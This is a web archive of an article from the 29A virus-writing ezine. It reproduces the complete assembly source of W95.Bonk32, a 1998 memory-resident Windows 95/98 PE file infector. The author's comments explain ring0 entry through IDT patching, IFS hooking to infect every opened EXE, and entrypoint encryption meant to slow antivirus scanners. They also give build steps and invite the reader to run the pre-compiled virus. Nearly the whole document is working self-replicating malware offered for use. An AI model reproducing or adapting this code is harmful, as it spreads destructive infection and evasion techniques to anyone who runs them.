Copy Link
Add to Bookmark
Report

29A Issue 03 04 07

eZine's profile picture
Published in 
29A
 · 28 Dec 2019

  

;[W95.BONK32] Resident PE infector
;Copyright 1998 (c) Vecna
;
;This virus is the 2nd PE infector i wrote, and is a memory resident infector
;designed exclusively for win95/98. It shouldnt work neither in winNT or in
;w32s. It patches the IDT, that isnt protected in w95/98, modifies a vector
;to point code into the virus, and execute this interrupt. As the code is
;executed in ring0, the virus alloc memory and read from the host file the
;rest of the virus code. It then jump to this virus part, that hook IFS and
;restore the host.
;
;Always a EXE file is open, the virus handler take control, and infect it.
;The virus body is appended as a overlay to the end of host, without any
;physical link to host, and a small loader is stored into the free space of
;the PE header.
;
;If the host file dont have relocationz, the virus encript the original
;entrypoint and patch it with a jump to the virus loader. The key for the code
;encripted is not saved, but a CRC32 of it unencripted is stored. When the
;virus restore it, it must try all keyz, what can be time costly for AVerz.
;
;As the original entrypoint dont change, and the virus code isnt linked to
;host, beside the loader, this work as a anti-heuristic feature.
;
;Early versionz haved a bug, that cause a crash in everybody machine beside
;mine. This was because a non-fixed call to int 0x20. Some lines added and
;now it work fine.
;
;W95.Bonk32 is written using NASM sintax, that showed very efficient for my
;viral needz, as provide more control over the generated code . To compile
;you will need NASM, LINK from Microsoft and PEWRSEC from Jacky Qwerty/29A.
;You also will need any MAKE utility (Borland, Microsoft and LCC ones work).
;then debug it using SOFT-ICE till u get the point that the virus open host
;at this point, change esi to point to a unused area (ECX hold one), then
;then edit this memory (D ESI;EB) and type the dir you are and \bonk32 at the
;end. Then make the virus go(BC *;G).
;
;Or, better, run the pre-compiled file. It will execute and stay resident.
;All open files will be infected then. Remeber that the pre-compiled file
;must reside in root dir of C:, else it will crash.
;
;I must thank 2 people: the AV that discovered the bug, and Alchemy, that
;gimme the EIP of the fault and make possible to me fix it.

[bits 32]
[section .text]
[global _main]

%define true 1
%define false 0

%define debug false
%define userda true

%define buffer bname + 0x100
%define buffer2 buffer + 0x1000

%macro vxdcall 2
int 0x20
dw %2
dw %1
%endmacro

hook:
enter 0x20, 0x00 ;setup stack frame
push ecx
push ebx
call .delta
.delta:
pop ebx
sub ebx, .delta
cmp dword [ebp+0x0C], byte 0x24
jne .noopen ;only hookz ifs_opne
cmp byte [ebx+recurse], byte 0x00
jne .noopen ;no re-enter
inc byte [ebx+recurse]
pushad
call dynacall ;fix dynamic int20 calls
call uni2ansi
call infect ;replicate
popad
dec byte [ebx+recurse]
.noopen:
mov ecx, 0x06 ;total=6 paramz
mov ebx, 0x1C
.nparam:
mov eax, [ebp+ebx] ;copy paramz from old frame
push eax ;to new frame
sub ebx, 4
loop .nparam
db 0xb8
oldhook dd 0
call [eax] ;call old hookz
add esp, byte 0x18
pop ebx
pop ecx
leave
ret

db '[BONK32] by Vecna/29A', 0x00

dynacall:
pushad
cld
mov ax, 0x20CD
call .odynatable
.dynatable:
dw 0x67, 0x40
dw 0x32, 0x40
dw 0x0D, 0x40 ;function, vxd
dw 0x41, 0x40
dw 0x32, 0x40
.odynatable:
pop esi
mov edi, esi
add edi, fix1-.dynatable
stosw ;make vxd calls to dynamic
movsd ;int20 code
add edi, IFS-fix1-6
stosw
movsd
add edi, byte fix3-IFS-6
stosw
movsd
add edi, fix4-fix3-6 ;make all fixes
stosw
movsd
popad
ret

uni2ansi:
pushad
lea edi, [ebx+bname]
mov eax, [ebp+0x10]
cmp al, -1
jz .drive
add al, '@' ;make number2letter
stosb
mov al, ':'
stosb
.drive:
sub eax, eax
push eax
mov eax, 0x100
push eax
mov eax, [ebp+0x1C]
mov eax, [eax+0x0C]
add eax, byte 0x04
push eax
push edi
fix4:
vxdcall 0x40, 0x41 ;make unicode2ansi
add esp, byte 0x10
add edi, eax
sub eax, eax
stosb
popad
ret

infect:
lea edi, [ebx+bname]
mov ebp, edi
mov ecx, 0x100
sub eax, eax
cld
repne scasb ;end of name
or ecx, ecx
jz near error
cmp dword [edi-0x05], '.EXE'
jne near error ;only infect exe files
%if debug == true
cmp dword [edi-0x09], 'BAIT'
jne near error ;debug code
%endif
mov eax, 0xD500
sub ecx, ecx
mov edx, ecx
inc edx
mov ebx, edx
inc ebx
mov esi, ebp
call IFS ;open it
jc near error
call .delta
.delta:
pop ebp
sub ebp, .delta ;ebp hold delta offset
mov ebx, eax
mov eax, 0xD600
sub edx, edx
mov ecx, 0x1000
lea esi, [ebp+buffer]
call IFS ;read pe headerz
jc near errorclose
mov ax, word [esi]
add al, ah
cmp al, 0xA7
jne near errorclose ;not exe
mov edi, [esi+0x3C]
mov [ebp+mz_size], edi
cmp edi, 0xE00
ja near errorclose ;buffer overflow
add edi, esi
cmp dword [edi], 'PE'
jne near errorclose ;not pe newexe
mov eax, 'BONK'
cmp [edi+88], eax
mov [edi+88], eax
jz near errorclose ;already infected
cmp word [edi+4], 0x014C ;run in a 386?
jnz near errorclose
bt word [edi+22], 1 ;executable?
jnc near errorclose
bt word [edi+22], 0x0D ;dll?
jc near errorclose
mov eax, [edi+40]
add eax, [edi+52] ;mementry==imagebase+entrypont
mov [ebp+loader.entrypoint], eax
movzx eax, word [edi+6]
imul eax, eax, 40
movzx ecx, word [edi+20] ;sum size of all headerz
add eax, ecx
add eax, 24
mov ecx, eax
add eax, edi
add ecx, lsize
cmp dword [edi+84], ecx ;total size of headerz
jc near errorclose ;enought to loader?
push eax
push edi
mov edi, eax
mov ecx, lsize
lea esi, [ebp+loader]
rep movsb ;copy loader to pe header
lea esi, [ebp+bname]
.nextbyte:
lodsb
stosb
test al, al
jnz .nextbyte ;copy host name
pop edi
pop eax
sub eax, edi
cmp [edi+160], ecx
jne near .relocs
cmp [edi+164], ecx
jne near .relocs ;shit, relocz present
%if userda == true
push ebx
mov dword [ebp+jmpentry], eax ;signal rda used
movzx ecx, word [edi+20]
add ecx, edi
add ecx, 24-0x28
.next:
add ecx, 0x28
mov edx, [edi+40]
sub edx, [ecx+12] ;is EIP pointing inside
cmp edx, [ecx+8] ;this section?
jnb .next
or dword [ecx+36], 80000000h ;make section writeable
add edx, [ecx+20] ;edx point physical entrypoint
push edx
push eax ;save virus entry
mov eax, 0xD600
mov ecx, 0x100
lea esi, [ebp+buffer2] ;esi point entrycode
call IFS ;read entry code
push esi
push edi
push esi
mov eax, 0x100
push eax
push esi
push eax
call crc32 ;calc crc32 of 100h bytes
mov [ebp+rdacrc32], eax
pop ecx
pop esi
pop edi
in al, 0x40
.rdaloop:
xor byte [esi], al ;encript crc32ed code
inc esi
loop .rdaloop
pop esi
push edi
lea edi, [ebp+hostcode]
movsd
movsb ;save entrycode
pop edi
xchg esi, edi ;edi point to entrycode
sub edi, byte 5
mov al, 0xE9 ;esi point to pe header
stosb
pop edx
sub edx, [esi+40]
mov eax, edx
sub eax, 5
add eax, dword [ebp+mz_size]
stosd ;store displacement
mov edi, esi
pop edx
mov eax, 0xD601
mov ecx, 0x100
lea esi, [ebp+buffer2]
pop ebx
call IFS ;write pe headerz
jmp .norelocs
%endif
.relocs:
mov dword [ebp+jmpentry], ecx ;flag as normal file
add eax, dword [ebp+mz_size]
mov [edi+40], eax ;set new entrypoint
.norelocs:
mov eax, 0xD601
sub edx, edx
mov ecx, dword [edi+84]
lea esi, [ebp+buffer]
call IFS ;write pe headerz
mov eax, 0xD800
call IFS ;get filesize
mov edx, 0xD601
xchg eax, edx
mov ecx, vsize
mov esi, ebp
call IFS ;write overlay code
errorclose:
mov eax, 0xD700
call IFS ;close file
error:
ret

rdacrc32 dd 0
jmpentry dd 0
hostcode dd 0
db 0
recurse db 0
mz_size dd 0

install:
sub edx, edx
sub esi, install ;esi point to start of vcode
push esi
mov dword [esi+recurse], edx
mov eax, 0xD700
call IFS ;close file
or ebp, ebp
jns skip
fix1:
vxdcall 0x40, 0x67 ;hook ifs
skip:
pop ecx
mov [esi+oldhook], eax
.restore:
%if userda == true
cmp dword [esi+jmpentry], byte 0x0
jz .norda ;was rda used?
push esi
mov edi, [esi+loader.entrypoint]
lea esi, [esi+hostcode]
movsd
movsb ;restore init code
pop esi
push dword 0x100
push dword [esi+rdacrc32]
push dword [esi+loader.entrypoint]
call rda ;rda decript host
.norda:
%endif
ret

%if userda == true
crc32_pbfr equ +0x0C
crc32_sz equ +0x08
crc32_ret@ equ +0x04
crc32_ebp@ equ +0x00

crc32:
push ebp
mov ebp, esp
mov esi, [ebp+crc32_pbfr]
mov edi, [ebp+crc32_sz] ;setup regz
push byte -1
pop ecx ;init crc32
mov edx, ecx
.aa:
sub eax, eax
mov ebx, eax
lodsb ;get byte
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
.ab:
shr bx, 1
rcr ax, 1
jnc .ac
xor ax, 0x08320 ;logarithm
xor bx, 0x0edb8
.ac:
dec dh
jnz .ab
xor ecx, eax
xor edx, ebx
dec edi
jnz .aa ;next byte
not edx
not ecx
shl ecx, 16 ;cx:dx to ecx
mov cx, dx
mov eax, ecx
pop ebp
ret 8
%endif

_main

loader:
pushad
call .seh
mov esp, [esp+8]
jmp .removeseh
.seh:
sub edx, edx
fs push dword [edx]
fs mov dword [edx], esp ;seh frame set
call .delta
.delta:
pop eax
sub eax, .delta
push eax
sidt [esp-2] ;get idt to ebx
pop ebx
cli
mov ebp, [ebx+0x4+(0x5*0x8)]
mov bp, [ebx+(0x5*0x8)]
lea ecx, [eax+ring0] ;new int5 handler
mov [ebx+(0x5*0x8)], cx
bswap ecx
xchg cl, ch
mov [ebx+0x6+(0x5*0x8)], cx
push ds
push es
int 0x5 ;jump to ring0
pop es
pop ds
.removeseh:
sti
sub eax, eax
fs pop dword [eax] ;remove seh frame
pop eax
popad
db 0x68 ;return to host
.entrypoint dd 0
pop ecx
jecxz .ret
push ecx
.ret:
ret

IFS:
vxdcall 0x40, 0x32 ;just one place to fix
ret

ring0:
cld
push ss
pop ds
mov edi, [eax+IFS]
mov ax, 0x20CD ;these linez fix the previous
stosw ;bug, found by AVz
mov ax, 0x32
stosw
mov ax, 0x40
stosw
lea ecx, [eax+bname]
lea esi, [eax+name]
mov eax, 0xD500 ;openfile
sub ecx, ecx
mov edx, ecx
mov ebx, ecx
inc edx
call IFS
jnc .skip
iret ;cant open host
.skip:
push eax
push dword 8192
fix3:
vxdcall 0x40, 0x0D ;vmm alloc
pop ecx
mov esi, eax
pop ebx
jc .error
mov eax, 0xD800 ;get filesize
call IFS
mov ecx, vsize
sub eax, ecx
mov edx, 0xD600 ;read overlay
xchg eax, edx
call IFS
add esi, install-hook
call esi ;call it!
.error:
iret

lsize equ ($-loader)

name equ $

%if userda == true
rda_sz equ +16
rda_crc equ +12
rda_pbfr equ +08
rda_ret@ equ +04
rda_ebp@ equ +00
rda_pass equ -04
rda_key equ -08

rda:
enter 8, 0 ;2 dwords as local var
sub eax, eax
mov [ebp+rda_pass], eax
mov [ebp+rda_key], eax ;setup rda
.setup:
mov esi, [ebp+rda_pbfr]
mov ecx, [ebp+rda_sz]
mov edx, [ebp+rda_key] ;setup loop
.loop:
xor [esi], dl
inc esi
dec ecx
jnz .loop
inc dword [ebp+rda_pass] ;increase pass counter
cmp [ebp+rda_pass], byte 2
jne .check ;first pass
sub eax, eax
mov [ebp+rda_pass], eax
inc dword [ebp+rda_key] ;new key
jmp short .setup
.check:
push ebp
push dword [ebp+rda_pbfr]
push dword [ebp+rda_sz]
call crc32 ;calc crc32
pop ebp
cmp eax, [ebp+rda_crc]
jne .setup ;crc32 dont match
leave
ret 12
%endif

vsize equ ($-$$)

bname:

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT